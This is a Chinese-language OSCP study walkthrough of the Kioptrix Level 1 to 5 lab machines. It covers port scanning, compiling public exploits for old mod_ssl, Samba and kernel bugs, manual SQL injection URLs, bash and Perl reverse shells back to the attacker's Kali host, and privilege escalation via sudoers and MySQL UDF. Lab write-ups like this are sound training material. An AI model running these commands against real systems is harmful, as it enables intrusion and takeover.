公众号:泷羽Sec-尘宇安全

oscp备考,oscp系列——Kioptix Level 1~5靶场详解
下载地址:

https://pan.quark.cn/s/d290014bb3d8

oscp备考,oscp系列——Kioptix Level 1靶场

前言

oscp备考,oscp系列——Kioptix Level 1靶场

Kioptix Level 1难度为简单靶场,主要考察

  • nmap的使用已经是否会看输出,以及是否会通过应用查找对应漏洞
  • 主要有mod_ssl低版本的getshell漏洞和samba的溢出getshell漏洞(CVE-2007-2447)
  • nmap不能探测出samba版本,需要使用msf的smb_version进行探测

nmap三步扫描

nmap -sn 192.168.80.0/24
nmap --min-rate 10000 -p- 192.168.80.149                    

在这里插入图片描述

nmap -sT -sC -sV -O -p22,80,111,139,443,1024 192.168.80.149

在这里插入图片描述

nmap --script=vuln -p22,80,111,139,443,1024 192.168.80.149

忘记截图了

尝试mod_ssl,apache权限

searchsploit mod_ssl

在这里插入图片描述

cp /usr/share/exploitdb/exploits/unix/remote/47080.c /home/kali/桌面/exp.c

查看一下,文件里面有提示如何使用

cat exp.c

在这里插入图片描述

进行版本比对,看看用那个

chmod 777 ./exp
./exp

在这里插入图片描述

通过前面的nmap提供的信息

http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

进行筛选,发现有两可以使用的,
在这里插入图片描述

尝试之后发现只有一个可以使用,`0x6b可以使用,不过得到的是apache权限
在这里插入图片描述

看了网上的说,利用764.c这个可以直接root,

cp /usr/share/exploitdb/exploits/unix/remote/764.c /home/kali/桌面/764.c

不过需要libssl1.0-dev,太老了,kali没有这个了,报错
在这里插入图片描述

尝试samba,root权限

nmap没有扫描出来版本,我们使用msf的smb_version扫描一下

use auxiliary/scanner/smb/smb_version

set RHOSTS 192.168.80.149

设置ip地址直接run,发现版本为Samba 2.2.1a
在这里插入图片描述

然后进行漏洞查找,找到两个,一个是ruby,还是看看.c的吧

searchsploit samba

在这里插入图片描述

在这里插入图片描述

.c可以直接获取root权限

cp /usr/share/exploitdb/exploits/multiple/remote/10.c /home/kali/桌面/10.c   
gcc 10.c -o 10
./10

在这里插入图片描述

执行脚本

./10 -b 0 192.168.80.149

在这里插入图片描述

ruby好像环境不行,不能使用
在这里插入图片描述

总结

靶场总结

Kioptix Level 1难度为简单靶场,主要考察

  • nmap的使用已经是否会看输出,以及是否会通过应用查找对应漏洞
  • 主要有mod_ssl低版本的getshell漏洞和samba的溢出getshell漏洞(CVE-2007-2447)
  • nmap不能探测出samba版本,需要使用msf的smb_version进行探测

漏洞总结

mod_ssl

exp地址:

Apache mod_ssl < 2.8.7 OpenSSL - ‘OpenFuckV2.c’ Remote Buffer Overflow (1) - Unix remote Exploit
使用查看文件即可

**端口:**443

**版本:**Apache mod_ssl < 2.8.7

samba

exp地址

kali中

/usr/share/exploitdb/exploits/multiple/remote/10.c

gcc 10.c -o 10
chmod 777 10
./10
./10 -b 0 192.168.80.149

**端口:**139

版本:

nmap探测不出来,使用msf的smb_version

msfconsole

use auxiliary/scanner/smb/smb_version

set RHOSTS 192.168.80.149

run

即可查看版本

oscp备考,oscp系列——Kioptix Level 2靶场

前言

oscp备考,oscp系列——Kioptix Level 2靶场

Kioptix Level 2难度为简单靶场

  • 考察sql注入,注意oscp不能使用SQLmap,使用万能密码登录
  • 进行源码补齐,反弹shell
  • 由于是Apache权限,需要来到/tmp目录,不然传输不了文件
  • 最后进行提权
    下载地址:
https://pan.quark.cn/s/cf89c3076e23

nmap扫描

主机发现+端口扫描

在这里插入图片描述

详细端口扫描

ports=$(grep open k2/port.nmap | awk -F '/' '{print $1}' | paste -sd ',') 

nmap -sT -sC -sV -O -p$ports 192.168.80.150 -oA k2/detail

在这里插入图片描述

vuln扫描

nmap --script=vuln -p$ports 192.168.80.150

image.png

sql注入漏洞+反弹shell,获取apache权限

万能密码

80端口发现登录框,尝试sql注入漏洞,

admin' || 1=1 #

进入
image.png

ping命令+管道符拼接

发现是一个ping命令,尝试一下是否可以使用管道符链接,不过这里前端有点问题,ctrl+u查看网页源码
发现这里少了一个冒号,我们给他补上即可
image.png
进行html编译,复制源码的,并且进行补全

<td align='center'>
				<input type="text" name="ip" size="30">
				<input type="submit" value="submit" name="submit">
			</td>

在这里插入图片描述

在这里插入图片描述

发现可以使用管道符拼接

127.0.0.1 && ls

image.png

反弹shell

kali监听6666端口

nc -lvnp 6666

执行命令

127.0.0.1 && bash -c 'bash -i >& /dev/tcp/192.168.80.136/6666 0>&1'

在这里插入图片描述

可以发现是apache权限,之后也尝试了其他的漏洞,但是都没有成功,所以这里需要提权

提权

uname -a

在这里插入图片描述

发现内核版本为:Linux 2.6.9-55.EL

searchsploit linux 2.6

在这里插入图片描述

wget http://192.168.80.136/1397.c

gcc -o k-rad3 k-rad3.c -static -O2

image.png
image.png

发现不行,到官网去搜索一下,发现一个2009年的,优先用新版
image.png

尝试一下

wget http://192.168.80.136/9545.c

gcc 9545.c -o 9 -Wall 或者 gcc 9545.c -o 9
./9545

在这里插入图片描述

成功

oscp备考,oscp系列——Kioptix Level 3靶场,超详细,两种方法获取root权限

前言

oscp备考,oscp系列——Kioptix Level 3靶场
Kioptix Level 3难度为简单偏上靶场

  • 牛脏提权之后,不能su切换用户,需要ssh连接
  • oscp不能使用SQLmap,手工sql注入
  • ht提权

nmap扫描

主机发现

└─# nmap -sn 192.168.80.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-09 00:33 CST
Nmap scan report for 192.168.80.1
Host is up (0.00014s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.80.2
Host is up (0.00014s latency).
MAC Address: 00:50:56:FF:B0:85 (VMware)
Nmap scan report for 192.168.80.151
Host is up (0.000074s latency).
MAC Address: 00:0C:29:83:12:1E (VMware)
Nmap scan report for 192.168.80.254
Host is up (0.000085s latency).
MAC Address: 00:50:56:FD:A3:29 (VMware)
Nmap scan report for 192.168.80.136
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 21.92 seconds

端口扫描

  • 端口扫描,可以发现只有两个端口开放,不过为了保险起见,我们将速度放慢一倍再扫描一次,可以发现结果一样
  • 一般22端口优先级不高,端口比较少,直接看网站,节约时间不进行下面的扫描了
└─# nmap --min-rate 10000 -p- 192.168.80.151 k3/nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-09 00:35 CST
Unable to split netmask from target expression: "k3/nmap"
Nmap scan report for 192.168.80.151
Host is up (0.0023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:83:12:1E (VMware)

Nmap done: 1 IP address (1 host up) scanned in 4.59 seconds

在这里插入图片描述

获取www-data权限

发现LotusCMS历史漏洞

  • 查看80端口,发现有一个login,点击一下
    image.png

  • 简单尝试了弱口令+sql注入,发现不行

  • 可以发现是一个cms,LotusCMS
    在这里插入图片描述

  • 使用searchsploit搜索一下

└─# searchsploit LotusCMS            
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                           |  Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)                                                            | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities                                                                                | php/webapps/16982.txt
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

在这里插入图片描述

反弹shell

  • 尝试使用18565.rb进行反弹shell,识别了,脚本运行环境不对
└─# ruby 18565.rb 
<internal:/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb>:86:in `require': cannot load such file -- msf/core (LoadError)
        from <internal:/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb>:86:in `require'
        from 18565.rb:8:in `<main>'

image.png

  • 因为oscp考试只能使用一次msf,所以我们默认不使用,去网上搜索一下发现有.sh脚本实现的
https://github.com/Hood3dRob1n/LotusCMS-Exploit

image.png
image.png

  • 下载下来,发现不会用,查看项目给的视频,太贴心了
    在这里插入图片描述

image.png
发现需要安装ncat

  • 安装ncat
apt install ncat

image.png

  • 反弹shell
ncat -lv 7777

./lotusRCE.sh 192.168.80.151 /
输入本地kali的IP,接收shell的IP
输入反弹shell的端口

image.png

方法一,牛脏直接提权

查看版本

uname -a

Linux 2.6.24-24-server

image.png
查看发行版本

cat /etc/*-release  

DISTRIB_ID=Ubuntu                                                                                       
DISTRIB_RELEASE=8.04                                                                                     
DISTRIB_CODENAME=hardy                                                                                   
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS" 

image.png

发现和level2的版本很接近,尝试使用提权

python3 -m http.server 80

在这里插入图片描述

cd /tmp
wget http://192.168.80.136/1397.c
gcc 9545.c -o 9545

image.png
尝试suid提权,失败
image.png
尝试使用,脏牛提权

wget http://192.168.80.136/dirty.c

gcc -pthread dirty.c -o dirty -lcrypt
gcc -pthread 40839.c -o 40839 -lcrypt

./dirty 123456

在这里插入图片描述

发现不能使用su命令,尝试ssh登录

  • 直接登录不行,提示需要指定加密方式,使用参数:-oHostKeyAlgorithms指定即可
└─# ssh firefart@192.168.80.152
Unable to negotiate with 192.168.80.152 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

ssh -oHostKeyAlgorithms=+ssh-dss firefart@192.168.80.152
# 然后输入密码123456,获取root权限

image.png

  • 没有关系,目录没有扫描,nmap也扫描完全

方法二:sql注入+ht提权

扫描主目录,发现phpmyadmin,弱口令登录

发现phpmyadmin

image.png

  • 顺便尝试了默认密码和弱密码,不行
    在这里插入图片描述

  • 查找默认配置文件,没有读取权限

find /var -name "config.inc.php"
/var/lib/phpmyadmin/config.inc.php

image.png

 find / -name "config.inc.php"                                           
/var/lib/phpmyadmin/config.inc.php                                                                                  /usr/share/phpmyadmin/config.inc.php
/etc/phpmyadmin/config.inc.php

image.png
配置文件里面没有什么收获
在这里插入图片描述

后面对应版本去搜索一下,原来以前版本有万能密码,以后直接对应去搜索

phpmyadmin2.11.3-2.11.4 这两个版本存在万能密码,直接使用‘localhost’@'@”为账号,密码不用输入。  使用admin也可以,默认密码是admin
phpmyadmin2.11.9.2 这个版本存在空口令。直接root用户登陆,密码不用

进入之后,发现权限很低,只能看配置的默认数据库,没啥用
image.png

扫描gallery目录,发现Gallarific历史sql注入漏洞

在这里插入图片描述

  • 看到有一个version.txt,进去看看
    在这里插入图片描述

  • 发现sql注入漏洞

image.png

手工注入
  • 因为oscp不能使用sqlmap,所以要手工注入
http://192.168.80.152/gallery/gallery.php?id=1 ''

在这里插入图片描述

http://192.168.80.152/gallery/gallery.php?id=1 order by 7 --+
  • 刚好有异常,所以列数为6
    在这里插入图片描述
http://192.168.80.152/gallery/gallery.php?id=1 union select 1,2,3,4,5,6
  • 发现2和3列有回显
    image.png
http://192.168.80.152/gallery/gallery.php?id=1 union select 1,(select(group_concat(table_name))from(infoRmation_schema.tables)where(table_schema)like(database())),3,4,5,6
  • 发现有一个users表,先用他尝试

在这里插入图片描述

尝试gallarific_users表
http://192.168.80.152/gallery/gallery.php?id=1 union select 1,(select(group_concat(column_name))from(infoRmation_schema.columns)where(table_schema)like(database())AND(table_name)like('gallarific_users')),3,4,5,6
  • 得到username,password字段

image.png

  • 得到admin/n0t7t1k4
http://192.168.80.152/gallery/gallery.php?id=1%20union%20select%201,group_concat(username),group_concat(password),4,5,6 from gallarific_users

image.png

  • 不能登录
    image.png
  • 英文不太好,唉
    image.png
尝试dev_accounts表
http://192.168.80.152/gallery/gallery.php?id=1%20union%20select%201,(select(group_concat(column_name))from(infoRmation_schema.columns)where(table_schema)like(database())AND(table_name)like(%27dev_accounts%27)),3,4,5,6

image.png

http://192.168.80.152/gallery/gallery.php?id=1%20union%20select%201,group_concat(username),group_concat(password),4,5,6 from dev_accounts
  • 得到账号和密码
dreg,loneferret
0d3eccfb887aabd50f243b3f155c0f85,5badcaf789d3d1d09794d8f021f40f0e
一看就是md5,MD5解密
Mast3r,starwars

image.png

ssh登录

  • 因为是开发者账号,并且网站还是登录失败,尝试ssh
  • 两个都可以登录,loneferret很明显有提示
ssh -oHostKeyAlgorithms=+ssh-dss dreg@192.168.80.151
ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.80.151

image.png
因为我之前使用了牛脏提权

如果之前使用了脏牛进行提前,这里会显示sudo: no passwd entry for root!

ht提权,修改/etc/sudoers

普通用户可以通过sudo命令以root权限执行管理员设定的几个或全部程序。设定不同,每个用户被允许使用sudo执行的命令种类和数量也不同。用户可以通过sudo -l命令查看当前用户被允许使用的程序列表。此外,有些用户在使用sudo -l命令的时候也需要提供当前用户的密码,这里因为管理员对用户的设置不同。如果需要密码,那么对于使用反弹shell获得的用户身份而言,可能就无法直接查看和使用sudo命令了。

sudo ht
Error opening terminal: tmux-256color.

image.png

如果报错,使用export TERM=xterm,更改终端类型为xterm(原类型256色)

  • TERM为当前终端类型
    拥有root权限的编辑器可以修改目标系统的所有敏感文件
    image.png

举例:

  • 编辑/etc/sudoers(该文件包含了每个用户可以在不输入密码的情况下使用sudo命令的范围),即执行sudo -l命令时获得的输出结果
    sudo ht 使用ht编辑器,按f3打开文件,回车打开文件
    image.png

在结尾写上loneferret用户后 /bin/bash
image.png
按f2保存f10退出后,sudo -l查看当前用户权限

权限增加/bin/bash,无需密码,输入sudo bash获得root权限

image.png

参考文章
https://www.cnblogs.com/wavewindsor/p/17757212.html

oscp备考,oscp系列——Kioptix Level 4靶场

前言

oscp备考,oscp系列——Kioptix Level 4靶场
Kioptix Level 4难度为简单偏上靶场

  • 在80端口,发现登录框的密码输入处有sql注入
  • 扫描目录,发现.sql文件,得到用户名和假的密码,之后万能密码登录
  • 远程连接ssh之后,进行shell逃逸
  • 最后发现是root用户在运行mysql,使用udf提权,获取root权限

nmap扫描

主机发现

nmap -sn 192.168.80.0/24

image.png

端口扫描

nmap --min-rate 10000 -p- 192.168.80.153

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-10 10:40 CST
Nmap scan report for 192.168.80.153
Host is up (0.0017s latency).
Not shown: 39528 closed tcp ports (reset), 26003 filtered tcp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:1B:72:58 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 22.18 seconds

详细端口扫描

nmap -sT -sC -sV -O -p22,80,139,445 192.168.80.153 -oA k4/detail

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-10 10:45 CST
Nmap scan report for 192.168.80.153
Host is up (0.00060s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_  2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
MAC Address: 00:0C:29:1B:72:58 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 10h29m59s, deviation: 3h32m08s, median: 7h59m58s
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.28a)
|   Computer name: Kioptrix4
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: Kioptrix4.localdomain
|_  System time: 2024-12-10T05:45:20-05:00

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.18 seconds

vuln扫描

 nmap --script=vuln -p22,80,139,445 192.168.80.153 -oA k4/vuln

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-10 10:48 CST
Nmap scan report for 192.168.80.153
Host is up (0.00030s latency).

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
|_http-trace: TRACE is enabled
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.80.153
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.80.153:80/
|     Form id: myusername
|     Form action: checklogin.php
|     
|     Path: http://192.168.80.153:80/checklogin.php
|     Form id: 
|     Form action: index.php
|     
|     Path: http://192.168.80.153:80/index.php
|     Form id: myusername
|_    Form action: checklogin.php
| http-enum: 
|   /database.sql: Possible database backup
|   /icons/: Potentially interesting folder w/ directory listing
|   /images/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|_  /index/: Potentially interesting folder
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:1B:72:58 (VMware)

Host script results:
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 331.45 seconds

可以发现445有samba,进行单独的扫描


openssh

  • OpenSSH <= 6.6 SFTP(sftp 服务器)32/64 位 Linux 配置错误漏洞
    image.png

https://github.com/OSSSP/openssh-sftp-exploit-advance

./legend.py -r 192.168.80.153 -p 22 -u user -P pass -c "/bin/bash -pi >& /dev/tcp/192.168.80.136/6666 0>&1"

image.png

80端口,sql注入

  • 发现密码位置使用111'报错,发现sql注入
    image.png
  • 盲猜用户名有admin
admin
111 ' or 1=1 #
  • 看来要使用sql注入获取别的信息
    image.png
    获取字段数
1' order by 4 %23
  • 发现4就报错了,所以字段数为3
    image.png

  • 尝试sql注入,由于不能使用sqlmap,所以手工注入,这里不成功
    image.png

  • 不过目录扫描发现,敏感文件,看到有john/1234账号,尝试登录
    image.png

image.png

  • 登录失败,密码是假的,使用万能密码登录,发现用户是真的。
john/MyNameIsJohn

image.png

ssh连接,shell逃逸

  • 和前面的靶场一样,需要指定SSH客户端接受的主机密钥算法,不然会报错
ssh -oHostKeyAlgorithms=+ssh-dss john@192.168.80.154

image.png

  • 发现是一个Limited Shell(即受限制的Shell环境),准备进行逃逸:
  • https://xz.aliyun.com/t/2333
  • 绕过Linux受限Shell环境,可以尝试使用下面的命令,看看是否可以
echo os.system('/bin/bash')
  • 逃逸成功
    image.png

udf提权

可以先查看一下文件,包括隐藏文件

ls -lA

发现三个敏感文件.bash_history.bash_logout.lhistory,查看一下:
image.png
不过都没有什么有用的信息,查看下进程:

ps -ef
ps -ef | grep root
ps -ef | grep root | grep mysql

发现mysql是以root身份运行的
image.png

尝试udf提权

在MySQL中,UDF是指用户自定义函数User-defined functions),它们是编写在CC++中的特定程序,可以扩展MySQL的功能。UDF提供了一种自定义函数的方式,让开发人员能够在MySQL中使用自己编写的函数。

  • 当时进行登录的时候,那个.php文件是肯定有mysql的连接信息的,查看一下
    image.png
find /var -name "checklogin.php"
/var/www/checklogin.php

image.png
查看一下,发现连接密码为空
image.png

mysql -uroot -p

image.png

show variables like '%plugin%'; #动态链接库文件放到 MySQL 的插件目录下,空的

直接就有了
select * from mysql.func;

image.png
查看一下用户组

cat /etc/group
  • 发现可以尝试的有:root和admin用户组
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:loneferret
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:loneferret
fax:x:21:
voice:x:22:
cdrom:x:24:loneferret
floppy:x:25:loneferret
tape:x:26:
sudo:x:27:
audio:x:29:loneferret
dip:x:30:loneferret
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:loneferret
sasl:x:45:
plugdev:x:46:loneferret
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
libuuid:x:101:
dhcp:x:102:
syslog:x:103:
klog:x:104:
scanner:x:105:
nvram:x:106:
fuse:x:107:loneferret
mysql:x:108:
crontab:x:109:
mlocate:x:110:
ssh:x:111:
sambashare:x:112:loneferret
winbindd_priv:x:113:
loneferret:x:1000:
lpadmin:x:114:loneferret
admin:x:115:loneferret
john:x:1001:
robert:x:1002:

使用usermod命令更改用户组,发现改为root没有任何效果,所以改为john

usermod -a -G admin john
select sys_exec('usermod -a -G admin john');

image.png

使用su命令再次切换一下
echo os.system('/bin/bash')
sudo su 或者sudo su - 
MyNameIsJohn

image.png

image.png
参考文章
https://juejin.cn/post/7291291581574529078

oscp备考,oscp系列——Kioptix Level 5靶场详解

前言

oscp备考,oscp系列——Kioptix Level 5靶场
Kioptix Level 5难度为简单靶场

  • nmap和目录扫描都没有发现可以直接利用的点
  • 通过80端口发现pChart2.1.3任意文件读取漏洞,8080不能禁止访问,猜测里面有可以getshell的漏洞,尝试读取freebsd系统的Apache默认文件
  • 发现限制了User-Agent,只允许User-Agent:Mozilla/4.0访问,访问之后,发现phptax远程代码执行漏洞
  • 最后进行freebsd内核提权即可

nmap

主机发现

nmap -sn 192.168.80.0/24

image.png

端口扫描

nmap --min-rate 10000 -p- 192.168.80.129 

image.png

详细端口扫描

nmap -sC -sV -sT -O -p22,80,8080 192.168.80.129 k5/detail

image.png

vuln扫描

nmap --script=vuln -p22,80,8080 192.168.80.129 k5/vuln

image.png

目录扫描

dirsearch

dirsearch -u http://192.168.80.129/ -e* -x 404

image.png

dirb

dirb http://192.168.80.129/                               

image.png
对于8080端口,被禁止访问了
image.png

80端口,发现pChart2.1.3任意文件读取漏洞

  • 我们发现nmap收获不大,唯一有用的mod_ssl由于Apache版本不对,不能使用
  • 目录扫描和没有扫描的一样
    来到80端口,这种空的,我们一般首先查看源代码
    image.png
    发现存在提示,提示了pChart2.1.3/index.php
<META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php">

image.png
搜索一下历史漏洞,发现GitHub里面有项目
image.png
下载下来进行使用,发现存在路径穿越漏洞和xss漏洞

git clone https://github.com/NHPT/pChartExploit.git

python3 pChart2.1.3_exp.py -u http://192.168.80.129/pChart2.1.3/

image.png
image.png

读取FreeBSD系统的Apache配置文件

我们发现8080不能访问,而80就只有这么一个资产,所以利用点应该在8080端口上面

  • 通过nmap扫描知道是FreeBSD系统,搜索一下Apache配置 文件
/usr/local/etc/apache22/httpd.conf

image.png

发现只允许User-Agent

Mozilla/4.0

的访问
image.png

访问8080,发现phptax远程代码执行漏洞

image.png

获取www用户权限

搜索一下phptax历史漏洞,发现有远程rce执行,搜索到exp

https://github.com/NHPT/phptaxExploit

image.png

python3 phptax_exp.py -u http://192.168.80.129:8080/phptax -e perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.80.136%22%3B%24p%3D6666%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B%27

image.png

是www权限,需要提权
image.png

提权

查看版本内核,发现是 FreeBSD 9.0-RELEASE

uname -a

FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012     root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64

image.png
搜索一下发现有几个都是可以尝试的
image.png

下载下来,一个一个尝试
注意:FreeBSD系统默认是没有wget命令,需要使用fetch命令,例如

fetch http://192.168.80.136/26368.c

通过不断的尝试,最终26368.c提权成功

  • FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation freebsd/local/26368.c
  • 不过最后才尝试他的,看到9.0 < 9.1,以为不包含9.0
fetch http://192.168.80.136/26368.c
gcc 26368.c -o 26368
chmod 777 26368
./26368

image.png

Logo

欢迎加入 MCP 技术社区!与志同道合者携手前行,一同解锁 MCP 技术的无限可能!

更多推荐